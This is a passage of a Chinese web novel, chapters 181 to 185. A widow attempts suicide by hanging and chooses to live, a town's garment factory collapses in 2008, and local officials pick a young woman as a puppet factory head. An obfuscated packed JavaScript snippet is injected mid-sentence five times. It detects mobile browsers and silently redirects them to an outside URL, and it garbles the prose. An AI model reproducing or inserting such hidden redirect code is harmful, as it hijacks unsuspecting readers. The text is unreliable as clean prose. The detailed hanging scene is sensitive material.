娇姐去巴士站,买了张两票,搭最早一班车回老家。检票的时候,她才恍然想起,自己只需要买一张票。 但也没关系。 娇姐坐在并排的座位上,隔壁空着。她摇晃着身体,看向窗外。 初秋,窗外是大片大片绿夹着尖尖的黄。风吹过,一望无际的农田,红色的朝阳的影子笼罩在土地上。 她的老家距离罗桑县并不远,只有一小时的车程。 到了站,清晨的早餐店刚刚开门。她吃了三个包子、一碗粉,吃得饱饱的,直到身上腾腾冒出热气,又站起身,径直走进墓园交易中心。 她询问价格,对方报价,又把电脑上的图片给她看。娇姐皱眉,两手空空地离开。 她有些茫然地攥着钱,径直走进河边。 她垂眼看着罗桑河。 半晌,她又折回墓园:“能便宜些吗。我毕竟买三套。” “真的不能再便宜了……” “我只有这些钱。” “阿姨,不是我为难您,实在是您出的价,连骨灰盒都买不起呀。” 娇姐又微笑起来。 她走出墓园交易中心,太阳已经高高挂在天上。她抹了把汗,站在人来人往的大街上,那里热闹又喧嚣。 娇姐朝记忆中的村子走去。她的父母 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308254|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早随着弟弟就搬到城里去,乡下的老房子没人看管,已经塌了。她多少年都没有再回去过。 但她记得,那里有一座山。 等到太阳再度西斜,娇姐坐在路边,挑破脚上的水泡。汗循着脸流下来,她闻到自己身上的汗酸味。 澡是白洗了。 夕阳余晖洒在身上,娇姐侧脸闻了闻腋下,心里觉得可惜了那块香氛皂。 她捂着脸,哭了。 …… 娇姐捂着脸哭。 人来来去去。无人理会她。 突然响起打铃声,铃铃铃铃铃铃。每个铃都像一个圆亮的小点。一个个小点走近了,是村小刚放学的孩子们,蹦着跳着打闹着三三两两地走。铃铃铃铃铃铃铃。 娇姐短暂地抬脸,看着孩子们出神。 孩子们也看到了她。 有个孩子跑过来,塞了什么到娇姐手里。娇姐垂眼一看,是块透明玻璃纸包裹的、绿色的糖。 孩子们跑远了。 娇姐伸手摸了下自己剃得乱七八糟的寸头,又胡乱抹了抹脸,风吹过,眼泪留不下任何痕迹,眼皮干巴巴地粘在眼球上。 人来人往,依旧无人理会她。 …… 等到天色擦黑的时候,娇姐终于回到记忆中的村子,找到那座山。 她雇人在山上挖了个坑,谈好80块。那人挖了一半,住了手,告诉她,120块才肯挖完。娇姐让他挖深了些,递出去150块。 她坐在坑边,抱着膝盖,一动不动地发了很久的呆。 天黑透了。 村子本就破败,能出去的打工的,全都跑出去,留下大片空房子和稀疏几户老人,暮气沉沉。 新闻联播的声音结束,又过了一阵子,村子里再无一丝声响。 娇姐站起身,躺进坑里。 她以为会很不舒服,但并没有。土并不柔软也并不温暖,还有一些碎石,但她躺在土里,闻着熟悉的泥土味,竟然感到一丝抚慰。天黑漆漆的,整座山都缄默着,温柔地一呼一吸,她躺在泥土里,被大山抱在怀中。 “……妈。”娇姐喃喃出声。 山谷肃肃。 第181章 生日 小时候,娇姐养过一条小土狗。 小土狗总喜欢绕着她转圈圈,她走到哪里,小土狗跟到哪里。 土狗命贱。病了残了,被人药了,也没得救,任由它自生自灭。还没满三个月,小土狗得了犬瘟,快**,娇姐哭得死去活来,又没钱治,只能按照老方子,找了块土地,挖了个浅浅的坑,把小土狗放进去。 小土狗蜷缩在土坑里待了半天,居然神奇般地开始吃东西。 后来,小土狗长大了,娇姐也长大了。读完初中一年级上半学期,她辍了学,给小土狗送了终,埋在大山里。埋过小土狗,她就出远门打工去。 她的童年就这样结束了。 娇姐一个激灵睁开眼。 她睡着了。不知睡了多久。睁开眼,看见黑色的树影子,而月亮已经高高攀上树影尖尖,漫天繁星。 娇姐从土坑里坐起身。 她肃容整了整衣服,又理了理裤子,从手提包里拿出一根碎布搓成的绳子。 万高大就是用的这根绳子,把自己吊死在床头。 娇姐绕了个活扣,挂在树上,站在石头上,把脖子伸进去,毫不犹豫地踢开石头。 万高大好手艺,搓的绳子很结实。失重感传来,娇姐以为自己是想死的,可就在踢开石头的这一刻,她忽然用尽浑身力气,猛地伸手抓住树枝。 她脖子上套着枷锁,双手却死死地抓住树枝。她的身体在空中摇摆。 松手啊。不是想死吗? 娇姐的手死死攥住树枝。 她以为自己是想死的。 可她怕死。 她不敢死。 她想活。 她真的很想活。 在这一刻,面对死亡,娇姐突然无比确定。她想活。哪怕活得像一条狗,哪怕只能在泥泞里面爬,哪怕活得窝囊,打碎了自尊,咽下满腹的气——哪怕被生活剥了皮、剃了骨、孑然一身—— 都比**强。 她都想活下去。 娇姐用力抓着树枝,鼻涕比眼泪先流下来,钻进嘴里,咸得一塌糊涂。她狼狈地抓着树枝,左右转动,试图挣脱脖子上的枷锁,谁料手一滑,跌了下去。 疼痛和窒息感淹没了她。她忽然奋力挣扎起来,越挣扎,绳子勒得越紧。她双手抓住绳子,试图多攫取一丝氧气,下身蹬着踹着,一阵稀里哗啦的温热循着大腿片片流下。 她尿了。 下一秒,轻轻的“啪”。 布条居然断了。 娇姐摔在地下,滚进坑里。土泼了满身满头满脸,粘在裤子大片大片湿乎乎的尿渍上。娇姐捂着脖子,心里第一时间想的居然是,澡是白洗了,可惜了那块香氛皂。 她攥着两把土,额头抵着坑沿,蜷缩着身体,无声地哭了。 …… “我老婆哭得死去活来。罗桑厂突然就垮了,欠我半年车费没结。”货车司机点了支烟,“我劝她,你看那些堵在县政府门口的供应商没?人家里外里好几年,总共欠了1.2个亿啊,我这点车费算什么?” 另一个货车司机感慨:“怎么突然就垮了呢。” “打价格战呗,你也便宜,我比你更便宜。本来就是卖给外国佬的,外国佬一看,呔——我爷爷参加八国联军侵华,我等你们压完价以后,把采购价压得更低——” “那谁愿意干啊。” “谁都愿意干啊!”货车司机吸了口烟,“机器转着,总比停工好吧?!” “唉!” “难道就没别的原因?你听说没,郑厂长和王经理,**挪用集资款,把罗桑厂套了个大窟窿——” 货车司机打断了他。 他一手夹着烟,指了指天:“天老爷不赏饭吃。”他另一只手摸了下裤裆,粗声粗气:“少说两句,还得给罗桑厂做工呢。我年纪大,硬不起来了。” “成,我不说!装不知道!” 货车司机把烟屁股吐在地下,用脚碾熄。两人告别,他上了车,大货车轰隆隆往罗桑县开去。 远远有个不人不鬼的家伙站在路中间招手,浑身是土,裤子不知多久没洗,结成一块块土坷垃。货车司机停下车,探出头,粗声粗气:“干嘛?” 那人开口,竟然是个女人:“能载我回罗桑县吗?” 货车司机难以置信地扫了她一眼,恶心**。载这么个人,回去得洗车。他本就白跑半年,如果今天再洗车,花的时间精力,相当于又是白跑。 他撇撇嘴,还是不情愿地掏出50递给她:“我不是不想拉你,我是真拉不了你,我也要养家,啊。你去那个长途车站,啊,买张票,啊,或者自己先去洗个澡,行不?” “车站不载我。”女人把50递回来,“我有钱,我可以给你车费。” 大货车司机挥手:“不是钱的事。”他升了车窗,开走了。 娇姐擦了把汗,继续往前走。 车站不载她,招待所不让她进,但是没关系。她可以走回去。她可以走回罗桑县。她不会死。她会活下去。不一定活得好,但一定会活着。 她在烈日下走着。 路边的大货车一辆辆经过,拉货的,拉料的,依旧络绎不绝地往罗桑县去。半开的车窗里,收音机的声音传出来,是点歌频道: “……今天是2008年11月1日,我要给我妈妈点一首歌,祝她生日快乐——” “你想对你妈妈说声什么呢。” “嗯……希望妈妈原谅我成绩不好,我不是个优秀的小孩,但是,嘻嘻,妈妈我爱你。” “我相信,你能平安健康,就是你妈妈最大的心愿。” 生日歌的旋律传出来。 娇姐恍然。 今天也是她的生日。 …… 生日啊。 小满学习最好了,是罗桑县的**,向来让她骄傲…… 生日歌的旋律远去了。一股钝钝的疼痛后知后觉地拽着心脏,死死地拧住,又转了几圈。娇姐按住心口,身后一辆校车开过来,前面的挡风玻璃上竖着一张纸牌子:之河大学附属实验小学,二年(1)班。 老师正在说:“我们要不要乐于助人呀?” 孩子们仰起头,一起说:“要~~~~” 老师又问:“我们为什么要乐于助人呀?” “因为乐于助人是中华民族的传统美德~~” “我爱我的爸爸妈妈,这份爱我要传递给别人的爸爸妈妈。爸爸妈妈爱我,这份爱也开可以传递给别的小朋友。” “自己一个人过好日子不叫好日子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308255|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大家一起过好日子才是真正的好日子~~” “因为老师说要做一个善良的人~~” 孩子们七嘴八舌。 “老师!你看外面那个阿姨!让她上车好不好?” 无数孩子的头从窗户里挤挤挨挨地看着娇姐,惊奇地大喊:“老师!她很惨耶!她脏得像一条流浪土狗!” “不许乱形容人!” “可是小土狗超勇敢耶!我家的小土狗可以看家护院……” “老师,我们帮助她嘛,好不好嘛~好~不~好~嘛~” 无数只小手齐齐指向娇姐,车厢里一阵又一阵孩子的喧嚣声几乎掀破了车顶。年轻女老师为难地看出去,和娇姐的眼神对视了。 娇姐微微摇头,意思是不添麻烦。 年轻女老师面露恻隐,咬了咬嘴唇:“老师答应你们。但你们要乖乖的。” 孩子们的欢呼声震耳欲聋。 娇姐在孩子们的欢呼声中上了车,年轻老师把身边的位子给她坐,她尴尬地指了指裤子,示意自己站着就好。老师看了眼,点点头。 娇姐站在校车过道上,透过巨大的车前玻璃,看向一望无际的远方。口袋里有什么硬的硌着她的腿,她掏出来一看,是昨天村小学的孩子给的糖。 耳边,有孩子喋喋不休:“你又脏又臭,太像我家土狗啦,我家土狗超勇敢的……” “再提你家那条狗!撕了你的小红花!”年轻老师竖眉,“抽查!昨天让背的古诗!现在就背!” 那孩子哭丧着脸,开始磕磕绊绊地大声背: “春种一粒粟,秋收万颗籽。 四海无闲田,农夫犹饿死。” “题目呢?被你就大米饭吃了?” “悯农……意思是,要对农民好……” 娇姐看着前方,把糖纸剥了,慢慢把糖放进嘴里。蜿蜒到远方的土地,金灿灿的农田,丰收的季节,湛蓝的天空。 村子里向来没有像样的商业,糖果是假的,只有外层有一丝甜。在嘴里转了两圈,只剩下一个玲珑硬块。 娇姐渐渐流下眼泪。 “你为什么哭?是因为站着吗?”有孩子问。 娇姐摇头。 “是因为风景太美了。”她垂眼看脚下抖落的土,轻轻擦掉眼泪。 “为什么看见美景还要哭?” 娇姐轻轻说:“因为我发现,命运待我,不是不好的。” “我很幸福。”她说。 这边,老师已经带着满车的孩子们开始朗诵。 “从明天起,做一个幸福的人。” “劈柴,喂马,周游世界。” “从明天起,关心粮食和蔬菜。” “我有一所房子,面朝大海,春暖花开。” 车子在公路疾驰,娇姐站在车上,看向前方。满眼金黄交织着青翠,一轮红日冉冉升起,生机勃勃。她几乎要说——“你真美啊!请停留一下!”但她知道,她不会再停留,因为停留就意味着死亡,而她不会死。她会活下去。 这是一个生命终于成熟的季节。或许晚了些,但终究会来到。而时光——时光如同滚滚河水,不断向前。 时光从人身上流过,永不停歇。 娇姐看着前方,进入了无限的、无垠的罗桑县。 第182章 奥巴马上台&金融危机第一枪&罗桑厂的葬礼 “即使我们今夜欢呼,我们也知道,我们面临着艰巨的挑战——百年来最严重的金融危机。” “即使我们今夜欢呼,我们也知道,还有很多父母在孩子入睡后仍难以入眠,他们在担心如何偿还房贷、如何支付医疗费用、如何让孩子获得更好的教育。” 2008年11月5日,奥巴马获得美国大选胜利,成为史无前例的黑人总统,出现在罗桑县一台台小小电视中。 “但这些困难,我们都能克服。” “Yes,wecan.” …… “是的,我们能做到。” 女生盯着电视,把英文记在本子上,然后把中文释义写在后面。 男生摇头:“来和万小满学姐告别,你怎么还看上电视了。”说归说,眼睛也往电视上瞟。 “学姐读书那么厉害,我好好学习,她会愿意看到的。”女生把本子收进包里。 两个中学生抬起头,看着“沉痛哀悼爱子”的白幅。 万小满是罗桑县人看着长大的,太多人想送送她。于是老戴出面协调了一番,把万小满的灵棚扎在罗桑厂门口的小广场处。 黑色的灵棚,白色的横幅,背后是灰色的、寂静的罗桑厂。 大门上贴着封条。 零星有一些工人使劲趴在大门上,望门缝里面张望。 罗桑县政府已经对外发布了罗桑厂事件的公告。尽管已经是白纸黑字的事实,但大部分工人还是不愿意相信,也不敢相信——几代人的罗桑厂,转眼之间就停产了,机器还被人趁乱拉走不少,只剩下满地散落的运动服,还有欠了满屁股债的工人。 噼里啪啦的鞭炮声突然响起,红色四处泼溅,众人转头望过去。 原来是罗桑厂门口的报刊亭换了老板,如今重新开业。 这个地段的报刊亭不是一般人能承包的,五颜六色的花篮摆了长长两列。 “呀,之前的关系王去哪了?” “他?!那个龟孙!他还敢出来?!王经理把咱们骗得那么惨、坑得那么惨,死得倒是痛快!他是王经理亲戚!” “哎哟,别骂了,听说他被打了。” “可不是,被打了,东西也被砸了,我呸。打得好哇!” “好啦好啦,别气了,反正他也被赶走了。” 一张报纸飘飘忽忽地飞过,上面触目惊心一行黑色印刷大字: 罗桑厂停产!美国金融危机对中国实体经济企业打响第一枪! “呸,晦气。” 有人抬脚,把报纸踢开,报纸又扑棱棱地飞远了。 有人看着报纸飞走的方向:“仅仅是因为美国经济吗。”他摇头,“压死骆驼的最后一根稻草罢了。” 在一片鞭炮声中,人们纷纷朝着罗桑厂的大门走去,走进黑色的灵棚。 …… 报纸飞向网球场,“啪”的一声,贴在网球场的铁丝外壁上。 网球场里,已经人满为患,工人们在不同的桌前排成几队长龙。罗璇正满头大汗地举着喇叭: “招工。草原服饰1号台,尚雅集团2号台,昌隆集团3号台,广州新塘4号台。” “招满了也不用急,今天只是政府招工第一天,后续,县政府还请来许多工厂,在这里招工!” 罗桑厂出事后,罗桑县立刻成立了专门工作小组,而赵**第一时间召开商会,把罗桑县大大小小企业全召集起来,直言需要大家一起拿出个章程,意思就是,有钱出钱,有力出力。 罗璇在会场一眼就看到Cythnia。 她的眼神从罗璇身上淡淡滑过,一句话都没多说。 罗璇也再次见到草原服饰郎峰、尚雅集团赵明德、昌隆集团王永昌。 赵**事先透过口风,因此,会议一开始,三个人就做足了老大哥姿态,带头表示,全额垫付罗桑厂拖欠6000余名员工的10月工资,总计2400余万元,在11月发放,来稳定工人情绪,避免事态进一步恶化。 “我天呢,2000多万!有钱真好。”罗璇坐在下面拍大腿。 红星厂2000万的债务把她压得灰头土脸! 三位大佬垫付2000万说来就来! 开了半天的会, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311317|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动辄讨论千万上亿的各种资金,罗璇对钱的量级的感觉逐渐麻木。等会开完,她居然觉得,2000万债务似乎不过如此。 张东尧自然也在工作小组里,只是神色恹恹。 他声音沙哑地宣布,需要为6000余名工人提供就业帮扶,届时在罗桑厂旁边的网球场上,举办现场招工会,尽可能多地提供就业岗位。 众人苦笑。 一波接着一波的打击,对罗桑县各个企业的冲击非常大,甚至引发了工人返乡潮——能维持运转就很不错,哪里还有多余的就业岗位提供! “罗桑厂停产啦。罗桑县以后可怎么办,我们养活自己都难。”有人长叹。 就在众人为难的时刻,罗璇几乎要笑出声。 还有这种好事?! 刚好红星厂招不来工啊! 她急忙表态:“我们红星厂积极拥护,提供就业岗位。具体数量,我稍后报给张东尧。” 众人直起身子,对她怒目而视。 你卷谁呢? 罗璇还没完。她想起远在广州新塘的王俭妹,专做韩版服饰的女厂长,一直抱怨缺熟练工、招工难,于是立刻起身问赵**,外地行不行,广州行不行?她可以联系广州的工厂过来这边招工。 赵**连说几声“好”:“愿意去外地的,我们就安排机会;想留在本地的,我们尽量分流;还想留在罗桑厂的,我们先登记好就业意向——总归让工人有点希望!” 众人再度投来愤怒的目光,罗璇老神在在地表现完毕,仰着头坐下。 谁料,或许赵**想表现一下亲民,突然问:“罗璇,怎么好久没见你妈?” 罗璇一愣。 下面众人眼神意味深长起来。 红星厂母女相争,女儿把母亲流放到上海去,给红星厂大清洗又换了血,这在罗桑县并不是什么新闻。 罗璇搪塞:“我妈生病了,我把她送到上海去住院了,那边医疗条件好。” 赵**不明所以:“好孩子,孝顺。” 会场一片哄笑,罗璇瞬间从昂首挺胸变成灰头土脸。 第183章 林招娣今天改名了吗? 会议结束后,Cythnia依旧没和罗璇讲话。 罗璇直接走过去,拦下Cythnia:“就算你撤资,我以为我们至少还是朋友。” Cythnia很直接地告诉罗璇:“我没办法再和你做朋友了。” 罗璇皱眉:“因为我的债务?” “不。”Cythnia怜悯地注视着她,摇了摇头,“因为有人让我离你远些。我不能罪人。” 罗璇敏锐地抓住她话里的暗示:“得罪谁?” 王经理不是已经**吗? 还有谁? Cythnia眯眼看着罗璇。 “我只能帮你到这里。”她后退两步,言尽于此。 转过身,Cythnia冷笑。 辛辛苦苦扶持一个人不容易。 结果,江明映居然威胁她,不让她摘桃子。 在她看来,江明映还摘了她的桃子呢! …… 江明映挣扎着从病床上起身:“宗先生。” 呼啦啦一群人涌进昂贵的私人病房。玩伴们等候在外,保镖守在门口,宗先生在众人的簇拥下,伸出手,按住努力起身的江明映:“Adrian。” 江明映还是撑着身体坐了起来:“宗先生,我没事。” “我不在乎你的身体。”宗先生和蔼地看着他,“你为什么是个草包呢,Adrian?” 病房里的气氛一滞。 江明映立刻说:“是我不好,但再造一个罗桑县的计划,还会持续进行。” 宗先生笑得很亲切。他站起身,在病房里转了一圈,看到床头柜上放着江明映的白金腕表,他伸手拈起,忽然重重砸到地下。 啪! 银色表缘变了形,盘面碎了,玻璃渣飞溅。宗先生用力地跺了几脚,咚咚咚。他把皮鞋移开,矜贵优雅的表已经稀巴烂。 宗先生满不在乎地一脚踢开。 众人缄默。 “我提醒过你。你说你能搞定复杂的地方关系。”宗先生一字一句,“我以为,Charles做乡村项目的失败,已经为你提供了足够的经验。” 蓦地,他咆哮出声:“妈了隔壁!你给我写辞职报告!你有什么用!现在给我滚,不许再碰我的资金盘子!” 令人难以置信的、粗俗的污言秽语嗡嗡震荡在安静的病房里。 江明映维持着神情自若,面色不变。 但他明白宗先生的威胁。他知道,Charles亏了宗先生大笔的钱后,很快被查出违反商业法,沦为阶下囚。 吼完了,宗先生又仿佛没事发生,笑着拍了拍江明映的肩膀:“Adrian,最后一次。” 他带着一群人,呼啦啦地走了。 病房里恢复了安静。 江明映想了很久。 他掏出手机,打开通讯录,找到“罗璇”的名字。 江明映盯着这个名字,看了许久。 他按下拨通键。 还没等电话拨通,江明映又挂断电话。 他有点烦躁地把手机丢在一边,转头看向窗外。 窗外,是罗桑厂的大门,门前是黑色的灵棚。 …… 罗璇站在罗桑厂大门前,注视着黑色的灵棚,掏出手机,打开通讯录,找到“妈妈”。 她盯着这两个字,看了许久,终于拨了出去。 电话对面很快就接通了。 “妈。”罗璇说,“万叔和万小满都**。我代表咱们家来参加葬仪,你看给娇姐封多少红包合适。” 电话对面长长叹息一声后,报了个数。 罗璇又问:“妈,你身体好些了没。” 她的母亲,一如既往,似乎任何悲伤和挫折都撼动不了如山一样的身躯:“我死不了!你少烦我!” 罗璇顿了顿,终于开口:“妈,我一直想问你。红星厂和新红星厂,我爸欠下的2000万债务,你早就知道,对吗?你是故意让我看到漏洞,把烫手山芋甩给我的,对吗?” 电话对面久久沉默。 好半天,她的母亲承认:“对,我早就知道。” 果然啊。 罗璇垂眼。 “放屁,我故意甩给你个屁!你以为你多厉害,我指望你!”林招娣的声音硬倔倔,“我确实输了。输了就是输了!你老娘我敢做敢认!以后想办法赢回来就是!只不过,涉及债务,我没必要赢回来!给你也就给你了,你反正是我亲生女,从我子宫里头钻出来的,血缘拴着,你能跑到哪去?!” 罗璇愕然,旋即笑了。 罗璇看着逝去之人的照片,难得地心平气和:“妈,你说得对。无论厂子归谁,这笔债务,还不上,你和我都跑不掉。” “那又怎么样,你慌什么!”林招娣大声冷笑,“使劲撑下去,能拖就拖,拆东墙补西墙,大不了撒泼打滚,日子照样一天天过!你害怕,你焦虑,你慌,这都不算实质性的伤害。只要债主没上门打死咱们,只要人死不了,活着总有办法!你少拉着一张脸,丧气!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311318|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>罗璇居然从母亲的训斥里得到一丝诡异的安慰。 无论世道怎么变,林招娣女士绝对不变。 罗璇又问:“那天,舅舅的葬礼上,你说你要改名。你改成功了吗?” “没成功!”林招娣说,“他们要我准备材料,还得回原籍办证明!疯了!老娘想叫什么叫什么!他们还不让我吵,说我**!**!你问这个做什么?” 罗璇叹了口气:“我只想你知道,我晓得你的委屈。你要改名,我支持你。” 林招娣理所当然地说:“我委屈**!不过我也想清楚了,不一定非得改名。我找算命的买了块风水好墓,把你舅舅埋进去,能旺咱们母女几代人,这样挺好,你舅能报了我的恩情,想必他可以安息了。” 啊。 啊? “啊?!”罗璇啼笑皆非,“你改名是为了这个?” “当然,我辛辛苦苦养大他,他总得回报我吧?” 罗璇噎了很久,说:“我以为,你是因为招娣这两个字,觉得被歧视,觉得外公外婆重男轻女。” 林招娣笑出声。 “起不起这个名,死老头死老太都偏心。我跟一个名字较什么劲?能拿到实惠才是真的。”她轻蔑地说,“我就是招弟,又能怎样?对,你舅舅就是我招来的,生是因为我,所以**就得旺我,天经地义!你们年轻人喊的那些口号啊,大道理啊,我不懂,我也不管,我只管怎么好怎么活——你别用那些大道理框我,你才活了几年,在大城市待几年。读几本书,遇到点事情就知道喊口号,有个屁用!看看我,找算命的把你舅舅埋地底下,保佑咱们娘几个多挣钱,这才是实惠,懂不?把钱攥手里才是真的!光动嘴,不动手,口号有个屁用!” 话不投机半句多,罗璇抬眼望天。耳边,林招娣又说:“你记得帮我取快递。” “什么快递?” “淘宝。” “妈你这么时髦?” “时髦个屁。”林招娣不耐烦,“你帮我把快递取了,回头再把营业执照拍了发我,我在医院闲着没事干,我开个淘宝店。” “……妈你哪来那么多精力啊?” “你以为我是你?” 罗璇不喜欢自己的母亲。但很多时候,抛开这层母女关系,她佩服她。 “哦哦哦行。妈你收件人名字叫什么。” 林招娣咳了一下。 她有些不自然地说:“冰雪聪明。” 罗璇笑了。 第184章 罗桑厂死因&让罗璇当厂长&活下去,向前看 Evelyn笑着端出大闸蟹。 别墅内,郎峰、王永昌和赵明德坐在廊下喝酒。 “罗桑厂从前合作的那家审计公司,从根子里就烂透了,和王经理沆瀣一气多年。” “现在政府成立了两个清理债务资产的小组,一个是资产清理小组,重新给罗桑厂的资产进行评估清理;一个是债权债务法律追讨小组,把拖欠罗桑厂的债务都追回来,回笼资金,大窟窿能补多少算多少吧。” “现在罗桑县这个情况,上面也不再提之河服装集团兼并的事,之河服装的目标是上市,肯定也不想接收罗桑厂。这件事啊,估摸着是黄透了。” “罗桑厂走到今天的地步,本就是经营出了问题。早就说过,要产业升级,要发展自己的品牌,要布局自己的内销渠道。只做外销,只根据采购商提供的样式来料加工,根本就没有自己的定位,也没有品牌,拿什么分摊外国市场的风险?” “管理也乱,官比兵多,本来就没品牌,设计研发部居然养着200个闲人,采购部100多个人!迟早得完。” “好几任厂长要做自己的业绩,要搞创新业务,这个砸钱进军银矿,那个斥资购买地皮,三五年跳槽走人,资金不回笼,不但产业没转移,生产规模还越扩越大!” 郎峰摆手:“勾心斗角的。这些精英高管,没一个想着罗桑厂好!只想给自己贴金!贴完就走了!什么职业经理人,我呸!” “所以啊,这颓败,究竟来自外界,还是来自内部?”王永昌注视着夜空,忽地文绉绉地来了句,“秦人无暇自哀,而后人哀之。后人哀之而不鉴之,亦使后人复哀后人矣。” “**,王永昌,就你读书多,你是大学生。” 王永昌前倾身子:“罗桑厂虽然停产了,但地皮、机器、壳子都还在,还是个香饽饽。你们说,最后鹿死谁手,罗桑厂厂长,定给谁?” 赵明德骇笑:“一堆烂摊子,欠了一屁股债,谁要接手罗桑厂啊!” “哎。”王永昌是官二代,高学历,考虑问题的角度也不一样,“毕竟是罗桑厂,支柱地位摆在那里。这是**资本,不光是钱的问题。能做厂长,多少人打破了头去抢。” “说个八卦。”郎峰笑嘻嘻地压低声音,“有人为了当罗桑厂厂长,把自己63岁的妈送去伺候领导81岁的爹,就为了让对方美言几句,走条门路。”他低声报了几个名字,“还有这几位……也在动作了。” “这几个,全是神仙啊,来头大,背景硬,靠山也不小。”王永昌忍不住说,“罗桑县选谁都不对,分明是哪个都惹不起嘛!” “永昌,如果你是赵**,你怎么办?” 王永昌想了很久。 “我家老爷子确实遇到过类似的情况。”他缓缓地说。 “我猜啊,赵**大概率会先扶持一个傀儡上位,让神仙们自己慢慢争去。等神仙们争得差不多了,水落石出、尘埃落定,再把傀儡换掉。” …… “我看红星厂的罗璇就挺不错的。”赵**沉吟,“罗桑县人,知根知底,年轻,背景得体。” 老戴把酒杯放在桌上,笑得意味深长:“老领导,我明白您的意思。罗璇这孩子,是咱们罗桑县的自己人,肯听话,年轻没经验,又是林厂长的女儿,没什么了不得的背景。” 赵**说:“主要是,她在工人面前有威望,工人听她的,现在厂子乱,她能维护好秩序。” “维护完秩序呢?” 赵**只是说:“一代人有一代人的使命。能维护好秩序,就算她完成使命。” 透支两代人的财富,牺牲一代人来弥补嘛。 老戴了然地点头。 “就暂定罗璇了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15311319|166684||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两人把杯下酒喝光,老戴说:“行,我去给班子成员透透口风。” 赵**没说话。 离开的时候,夜风微凉,两人抬头。 “罗璇的名字取得有点意思。”赵**突然慨叹,“月满则亏,兴尽悲来,螺旋之中,盈虚有数。好好的罗桑厂,烈火烹油,可旋即就**。” “老戴,你说,世事怎会如此呢?” …… “罗桑厂的死因。” “第一,行业内恶性竞争,导致对外国客户议价能力低。” “第二,过分倚重OEM(代工生产),倚重单一美国市场。” “第三,人民币升值,劳动力成本上升。” “第四,盲目扩张,内部管理混乱。” 张东尧停下来,注视着电脑上干巴巴的四行字。 他把鼠标移动到论文标题上。 他本以罗桑厂为成功案例,研究可成功、可复制、可推广的经验。 可罗桑厂停产了。 如今的罗桑厂,还算什么成功典范,只能算是失败典范! 他的毕业论文,简直是一场笑话! 张东尧伸手关闭电脑,扑在桌上。手机震了震,他抓起来一看,是医生告诉他,张东娇的鼻子插了太久的管,在流血,他始终不去探望,最后还是护士帮忙清理干净。医生质问他,究竟有没有想清楚,何必让张东娇受这样的苦。 最后,医生问:死亡是人类命运的必然,你究竟在执着什么?你姐早已欣然接受,为什么反而是你,不愿意好好活下去、不愿意向前看? 张东尧执着地回复:“我等我姐醒。我会接她回家。” 他的目光落在桌上。他和张东娇的合影。那是一张彩色照片。 “姐,我会留校。”张东尧对着照片说,“然后接你回家。” 照片上的张东娇,穿着明黄色的上衣,神情平静。 第185章 跟往事干杯 娇姐给万小满选了张报纸拍的状元照。她的遗照即使是黑白色,也掩盖不住宛如青竹的身姿与风采。 女学生敬香,对着万小满的照片鞠躬。 她直起身,抹了把眼泪,环顾四周。 灵棚里并不安静,很嘈杂。人们三三两两聚拢聊天,有些人围在娇姐,陪她说话。没人哭,也没人提万小满,话语支离破碎地飘过来,都是些县里乡亲的八卦。 等到了晚饭时间,娇姐招呼大家吃席,人群纷纷从灵棚离开。 女生没去。 灵棚里的人渐渐走空了。 灵棚里终于安静了。 女生抬起脸,在安静的灵棚里,看着万小满的照片,含着眼泪质问: “他们是真的在乎你吗?” “如果真的在乎,为什么我从他们的脸上,看不到悲伤?” “他们是真的悲伤吗?” 